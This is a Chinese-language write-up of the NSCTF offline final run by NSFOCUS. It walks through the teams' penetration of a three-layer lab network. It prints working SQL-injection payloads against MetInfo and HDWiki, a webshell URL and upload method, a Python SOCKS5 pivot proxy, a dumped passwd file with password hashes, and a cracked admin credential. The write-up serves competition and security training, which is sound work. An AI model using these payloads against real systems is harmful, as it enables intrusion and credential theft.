绿盟科技网络攻防赛决赛

NSCTF西北高校网络安全攻防大赛决赛冠军产生,Team 5(wuyihao 和CTF加藤鹰)以1260的高分获得第一名。决赛的成员从第一轮线上赛的1136名选手中脱颖而出,后经过自由组队形成10个team参与角逐。NSCTF竞赛组委会邀请DUTSEC-F4nt45i4团队成员提供解题思路,并邀请第一名选手对决赛的主要过程进行总结。

比赛介绍


NSCTF是由绿盟科技研发中心主办,面向西北高校的网络安全技术攻防大赛,旨在普及网络安全知识,提高网络攻防意识。线上赛于2015.09.25正式结束,经过线上赛的选拔,线下赛名单及其分组如下:

TeamMember 1Member 2
Team 1firesunYHZX_2013
Team 2mutepiglowkey
Team 3wonderkunyichin
Team 4woniukecyrr
Team 5wuyihaoCTF加藤鹰
Team 6caseNullludashi
Team 7ByStudentGzblooda
Team 8flysoarcnss_lc4t
Team 9lyuchen65crackzhazha
Team 10rangenlfox2333

线下赛有丰富的奖励:前三名将分别获得现金奖励和绿盟科技Offer,4-10名将获得精美礼品、参赛证书和绿盟科技实习机会。

线下赛环境简介


比赛地点为绿盟科技西安分公司

本次NSCTF线下赛比赛题目根据实际渗透测试场景拟定,题目大体上分为两种:

  • web安全方向的渗透测试题
  • 系统安全方向的逆向题

线下网络环境总共分三层。一层外网模拟真实环境的DMZ区,供参赛选手直接访问;两层内网模拟真实企业的内网环境,在渗透过程中需要利用每层网络中web主机中的漏洞逐层进行渗透,最终进入第三次网络,才能拿到所有题目。所有网络都通过VLAN隔离,不管是渗透测试题目还是逆向题目都能漏洞拿到目标系统权限。

比赛环境的拓扑结构如下图:

绿盟科技西北高校CTF比赛环境拓扑结构

]2 绿盟科技西北高校CTF比赛环境拓扑结构

本次比赛所有所有题目拟定及环境搭建均为绿盟科技西安研发中心完成。

解题思路


本次线下赛的解题思路由DUTSEC-F4nt45i4团队成员提供:

  • kow
  • wuyihao

感谢两位选手!

第一层网络(DMZ区)

靶机1

通过扫描器扫描发现源码包:http://10.0.0.2/phpshe.tar.gz
下载下来之后与官方最新版进行文件对比,没有发现与Phpshe官方最新版的不同之处,说明是最新版漏洞(0day)。
后来,管理员放出hints:提示在 user/order.php 中存在注入,但是在管理人员的提示下也没找到想问的SQL注入漏洞。
靶机1就这样不了了之了,直到最后也没搞定。

靶机2

发现是metinfo的站,利用wooyun上的洞,链接如下:

http://www.wooyun.org/bugs/wooyun-2015-0134479

前台访问:

/admin/login/login_check.php?met_cookie_filter[a]=a%27,admin_pass=md5(1234567)+where+id=1;+%23—

可以直接将后台管理员的密码修改为1234567。

会务组注:上述漏洞只有Wooyun核心白帽子才能查看详情,但是考虑到比赛的公平性,题目做了一些调整,参赛者可以参考一个公开的信息泄露漏洞 ,然后对应的在蜂巢 https://beehive.nsfocus.com/ 数据库中查询。通过这种方式,参赛者可以在蜂巢的插件开发者论坛中得到漏洞细节描述,并进行交流;还可以通过公开的漏洞信息,用盲注来注入出靶机的管理账号

随后成功进入后台,在后台用户管理的地方某个用户的名字是第一个flag。随后是后台拿shell,同样利用上面的漏洞洞,上传 *.zip 文件会自动解压,不过网站有过滤,但是过滤是采用简单的黑名单方式,用回调函数可以轻易绕过。如下面的一句话shell:


    

接下来是漏洞利用,把上面的php代码写进test.php文件里,并压缩为test.zip格式。在后台找个能上传的的地方上传,修改参数 type=skin 上传成功后在 /templates 目录下生成 test.php。菜刀(一款Webshell管理工具)里添加:http://172.0.0.100/hdwiki/test.php?e=YXNzZXJ0 密码为pass。
连接菜刀后在 /home/user/flag 文件中获得靶机中第二个flag。

会务组注:这里的后台拿shell还有其他方法,例如:修改允许上传文件类型再上传webshell;数据库备份处的任意文件写入与时间竞争结合

拿到shell后,收集了该主机上的一些信息:

  • 数据库配置信息:

  • 靶机系统版本信息:

    Get linux kernel version

    Linux nsctfweb 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

    Get linux press version

    Ubuntu 14.04.3 LTS \n \l

尝试mysql root提权,但是提权失败,由于内核版本较新,暂无公开的提权exp,也没有发现可以利用的服务或者进程。

随后,读取了passwd文件:

root:$6$mz1WNkcl$mSc25vLI6L4Am60h7CcsqAYSEnJ7MNL9QCDMhsfPjtxu86noSb6V1ucq46d2ThqWP1UxdFVPBhUJjbydtcilA0:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:*:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:!:100:101::/var/lib/libuuid:
syslog:*:101:104::/home/syslog:/bin/false
mysql:!:102:106:MySQL Server,,,:/nonexistent:/bin/false
messagebus:*:103:107::/var/run/dbus:/bin/false
landscape:*:104:110::/var/lib/landscape:/bin/false
sshd:*:105:65534::/var/run/sshd:/usr/sbin/nologin
user:$6$lJYjFxQn$ejSVlUvIIGeV0aSNwEd/neAUoFeyrYq5P1QYIsxNIz8mm3XolX8HjIM6w4h76PLFRgWwTO0whzLJZRTbZIgBn.:1000:1000:user,,,:/home/user:/bin/bash    

尝试破解root的hash,但是未果。
但是使用ifconfig查看网络情况时发现有多张网卡:

#####Get localhost ip and interface information#####
eth0      Link encap:Ethernet  HWaddr 6c:b0:13:93:fb:02  
          inet addr:172.0.0.1  Bcast:172.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::6eb0:13ff:fe93:fb02/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:360 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2281 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:23380 (23.3 KB)  TX bytes:104434 (104.4 KB)

eth1      Link encap:Ethernet  HWaddr 6c:b0:13:93:fb:01  
          inet addr:10.0.0.3  Bcast:10.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::6eb0:13ff:fe93:fb01/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:21021 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8331 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:2922638 (2.9 MB)  TX bytes:4434510 (4.4 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:20245 errors:0 dropped:0 overruns:0 frame:0
          TX packets:20245 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:1816426 (1.8 MB)  TX bytes:1816426 (1.8 MB)

从而判断,应该存在内网,下一步应进行内网渗透。

第二层网络(内网)

靶机3

首先在靶机2上使用扫描内网信息的脚本探测内网主机情况。

扫描内网信息后,发现:

###Port opening list...###
172.0.0.2:22
172.0.0.2:80
172.0.0.1:22
172.0.0.1:80
172.0.0.100:22
172.0.0.100:80
10.0.0.2:22
10.0.0.2:80
10.0.0.3:80
10.0.0.3:22
##########Port scan finished##########

发现三内网ip:172.0.0.1,172.0.0.2和172.0.0.100。经过判断,前两个均为DMZ区主机的内网ip,真正的靶机ip为172.0.0.100,且开放了22和80端口。
22端口跑的ssh,但是爆破无解,只能从80端口下手。现在就是要想办法能访问172.0.0.100的80端口了,于是用python在靶机2的webshell中开sock5代理。

sock5代理脚本如下:

import socket, sys, select, SocketServer, struct, time  
class ThreadingTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass  
class Socks5Server(SocketServer.StreamRequestHandler):  
    def handle_tcp(self, sock, remote):  
        fdset = [sock, remote]  
        while True:  
            r, w, e = select.select(fdset, [], [])  
            if sock in r:  
                if remote.send(sock.recv(4096)) <= 0: break  
            if remote in r:  
                if sock.send(remote.recv(4096)) <= 0: break  
    def handle(self):  
        try:  
            print &#39;socks connection from &#39;, self.client_address  
            sock = self.connection  
            # 1. Version  
            sock.recv(262)  
            sock.send(b"\x05\x00");  
            # 2. Request  
            data = self.rfile.read(4)  
            mode = ord(data[1])  
            addrtype = ord(data[3])  
            if addrtype == 1:       # IPv4  
                addr = socket.inet_ntoa(self.rfile.read(4))  
            elif addrtype == 3:     # Domain name  
                addr = self.rfile.read(ord(sock.recv(1)[0]))  
            port = struct.unpack(&#39;>H&#39;, self.rfile.read(2))  
            reply = b"\x05\x00\x00\x01"  
            try:  
                if mode == 1:  # 1. Tcp connect  
                    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
                    remote.connect((addr, port[0]))  
                    print &#39;Tcp connect to&#39;, addr, port[0]  
                else:  
                    reply = b"\x05\x07\x00\x01" # Command not supported  
                local = remote.getsockname()  
                reply += socket.inet_aton(local[0]) + struct.pack(">H", local[1])  
            except socket.error:  
                # Connection refused  
                reply = &#39;\x05\x05\x00\x01\x00\x00\x00\x00\x00\x00&#39;  
            sock.send(reply)  
            # 3. Transfering  
            if reply[1] == &#39;\x00&#39;:  # Success  
                if mode == 1:    # 1. Tcp connect  
                    self.handle_tcp(sock, remote)  
        except socket.error:  
            print &#39;socket error&#39;  
def main():  
    server = ThreadingTCPServer((&#39;&#39;, 8080), Socks5Server)  
    server.serve_forever()  
if __name__ == &#39;__main__&#39;:  
    main()  

会务组注:因为权限问题,可能菜刀上只能sock5代理脚本会提示超时或其他错误,很多同学就以为代理失败了,就没办法了。但是这里使用 netstat 看一下端口情况,发现其实代理端口是成功监听了

浏览器配置10.0.0.3:1080的sock5代理,然后访问172.0.0.100,发现是hdwiki 5.2的站。翻了wooyun,利用: http://www.wooyun.org/bugs/wooyun-2014-088004 这个漏洞,构造如下请求包:

POST /hdwiki/index.php?doc-create HTTP/1.1
Host: 10.65.20.198
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.65.20.198/hdwiki/index.php?doc-create
Cookie: ver=free; style=skin2; CNZZDATA80862620=cnzz_eid%3D1648479025-1444907217-http%253A%252F%252F10.65.20.145%252F%26ntime%3D1444916899; login_username=admin; login_password=6836d1932cc0c28efff81367e4864fc6; passinfo=%E5%85%8D%E8%B4%B9%E7%89%88+%3Ca+href%3D%22http%3A%2F%2Fwww.cmseasy.cn%2Fservice%2F%22+target%3D%22_blank%22%3E%3Cfont+color%3D%22green%22%3E%28%E8%B4%AD%E4%B9%B0%E6%8E%88%E6%9D%83%29%3C%2Ffont%3E%3C%2Fa%3E; hd_sid=ydOqCX; hd_auth=6c51E0L2Q7rDif74Jo2OGqW0WxmB4Amyv%2F2P75APCta56VmGma%2Fe8TyThnwaGj6T3Y0Mr9eYnWCOhjgKQhfV
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------262071291319803
Content-Length: 1598

-----------------------------262071291319803
Content-Disposition: form-data; name="did"

55
-----------------------------262071291319803
Content-Disposition: form-data; name="section_id"


-----------------------------262071291319803
Content-Disposition: form-data; name="create_submit"

1
-----------------------------262071291319803
Content-Disposition: form-data; name="title"

xfkxfkxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\
-----------------------------262071291319803
Content-Disposition: form-data; name="category"

3
-----------------------------262071291319803
Content-Disposition: form-data; name="content"

<p>66666666<br /></p>
-----------------------------262071291319803
Content-Disposition: form-data; name="summary"

666666666666
-----------------------------262071291319803
Content-Disposition: form-data; name="tags"

,concat(user(),0x23,version()),user(),(select concat(username,0x2c,password) from wiki_user where uid=1),#
-----------------------------262071291319803
Content-Disposition: form-data; name="code"


-----------------------------262071291319803
Content-Disposition: form-data; name="publishsubmit"

1
-----------------------------262071291319803--
Content-Disposition: form-data; name="tags"

,user(),user(),user(),user(),1,1,1,1,1,1,1)#
-----------------------------262071291319803
Content-Disposition: form-data; name="code"


-----------------------------262071291319803
Content-Disposition: form-data; name="publishsubmit"

1
-----------------------------262071291319803—

成功爆出管理员的账号和md5:

webmaster 59cfbd4a7e1b2106d5b346fa8c785e7c(Z5Ez6oy0)

登陆后台,在后台配置的地方找到第一个flag。在后台文件管理的地方成功上传webshell。

会务组注:这里除了文件上传漏洞,还可以在全局配置的地方,写入任意代码到配置文件中拿到网站的 webshell

同样在 /home/user/flag 文件中获得第二个flag,同时管理员放出hints提示hdwiki中信息的作用,从wiki中收集了部分员工的信息:

  • 叶良辰为我司测试工程师,负责cmseasy及zentaopms的项目测试工作,工号为****,电话150*****789
  • 龙傲天是我司网络工程师,负责项目代码管理,擅长svn项目管理,工号*\*,生日19****09,电话150*****356
  • 在微信借口开发是使用TOKEN连接服务器进行通信
  • TOKEN: 3C58CE5123B98B6577B77158AD264BFC
  • TOKEN: B89AD56B0CFDF63D3F0DF4AC9CD33AF7

会务组注:这些信息是在第三层环境渗透中需要用到的

第三层网络(内网)

通过在靶机3上进行网络配置信息收集,以及使用扫描内网信息的脚本探测内网主机情况,发现还有第三层内网。

首要问题是如何代理进入第三层:
我是分别用python在第一层和第二层中搭建sock5代理,然后使用Proxifier这款软件利用第一层的sock5进行全局代理,然后浏览器使用第二层的sock5进行http代理,这样可以成功访问第三层的主机。

会务组注:除了上述方法,还可以在第一层使用sock5代理,然后在第二层使用ssh隧道;第二层中的靶机3的 hdwiki后台管理员账号即为靶机3的一个系统用户账号,用来建立ssh隧道,将第三层网络代理出来

第三层中存在多个主机,两台web主机(Cmseazy,禅道CMS 和svn服务器)还有两台windows主机(管理员赛后提示的,比赛的时候并未扫出来,上面有两道pwn)
首先,禅道cms是一个项目管理系统,里面应该有大量的代码。
但是,找了半天也没找到如何破,网上也没有公开的前台的可以利用的洞,经过管理员提示,利用第二层中收集的信息社工进入后台。由于时间较紧,最后还在管理员的提示下破解了一个账号密码进入了禅道cms里面:

账号:yeliangchen 密码:ylc8899

后面由于时间不够,未能继续下去深入

会务组注:这里社工出来的账号为一个测试人员的账号和一个开发人员的账号,不过并没办法拿到webshell,剩下题目的主要思路如下:

  • 通过这些账号可以登录项目管理系统zentaopms,项目管理系统里面记录了cmseasy的svn路径,但是需要账号才能下载svn上的cmseasy代码和测试cmseasy的测试环境,还有Pwn1的bin文件和项目说明。同在,在zentaopms中还有 cmseasy的漏洞bug描述,但是根据bug描述需要阅读svn上的代码才能找到漏洞利用。Cmseasy的svn账号也可以使用第二处中靶机3上的信息进行社工得到。里面还记录有禅道cms的漏洞bug,根据bug描述可以利用漏洞得到管理员账号,然后使用管理员账号拿到webshell。
  • 通过阅读pwn1的说明文档,通过简单逆向可以知道改文件是一个远程管理程序,运行在一位员工的开发机上。还可以得出该远程管理程序的密码,通过此密码可以连上开发人员的机器。然后通过ftp脚本下载提权程序提权,添加用户。通过远程桌面登陆后flag就在桌面,但是桌面还有pwn2生成好的pwn2的bin文件和注释,pwn2在另一个windows server上运行,通过逆向pwn2即可发现溢出点,可通过ROP绕过DEP,ASLR执行shellcode,最终拿到服务器权限

选手感言


本次线下赛主要问题还是渗透经验不足,前面收集信息和利用exp攻击网站的时候浪费了太多时间,导致在进入内网发现更多主机后没有时间进行进一步渗透。但是本次的决赛题打的特别爽,感觉像是一次真正的渗透过程,在此也感谢下组委会提供的环境和机会。

组委会说


线下赛最终排名如下:

名次队伍得分
1Team 51260
2Team 10940
3Team 7730
4Team 2470
5Team 4440
6Team 1400
7Team 9370
8Team 3350
9Team 6200
10Team 8200

上述Writeup是由第一名选手投递的,只有第一层网络和第二层网络中部分题目的解题思路,进入第三层网络后后比赛已接近结束。直到最后也没有任何选手解出第三层的题目。

绿盟科技西北高校CTF决赛颁奖

]4 绿盟科技西北高校CTF决赛颁奖

上部:绿盟科技研发总监叶博士为NSCTF致辞
下部:叶博士为线下赛第一、二、三名颁发奖金及证书

本次NSCTF西北高校网络安全攻防大赛是绿盟科技西安研发中心举办的第一次CTF竞赛,由于举办类似比赛的经验有所欠缺,导致在比赛搭建环境过程中出现了一些小问题,在比赛过程中由于对网络流量估计不足,提交服务器交换设备负载过大,导致小段时间内部分队伍无法提交flag,总之比赛有很多不足之处,值得思考和积累经验。

在此感谢西安研发中心的同事,西安分公司的同事等。

写在最后


与常见的夺旗赛不同,绿盟科技NSCTF西北高校网络安全攻防大赛线下赛环境,真实呈现了一个企业网络环境,复现了企业在信息化建设中可能存在的一些问题,例如:员工信息安全意识较差;员工账号存在弱口令;内网中放置敏感信息;代码区(生产区)没有与员工的工作区隔离等。
通常,在企业的信息化建设中存在着“内网是安全的”这样的误区。其实就如同鸡蛋一样,蛋壳从内部击打是容易碎的。企业内网安全管理中时常暴露出很多的企业内网安全的隐患,在如今APT攻击盛行的年代,只要攻击者渗透进入了内网,便如入无人之地,会给企业造成更大的损失。

信息安全不仅对个人非常重要,更是企业的命脉。

这些企业内网被攻击的安全事件,不断给我们敲响警钟,如今的企业网络安全不再是城防战,而是塔防战,企业内网安全正在成为木桶中的短板,企业自身在不断提升自身安全建设能力的同时,更加应该与漏洞相关厂商、安全厂商一起协作才能形成快速、安全、有效的行动方案,避免业务系统在获得安全加固之前遭受攻击,而企业网络安全建设中最为重要的一环就是,不断提升安全人员的安全意识及安全能力!

Spread the word. Share this post!

Meet The Author

Leave Comment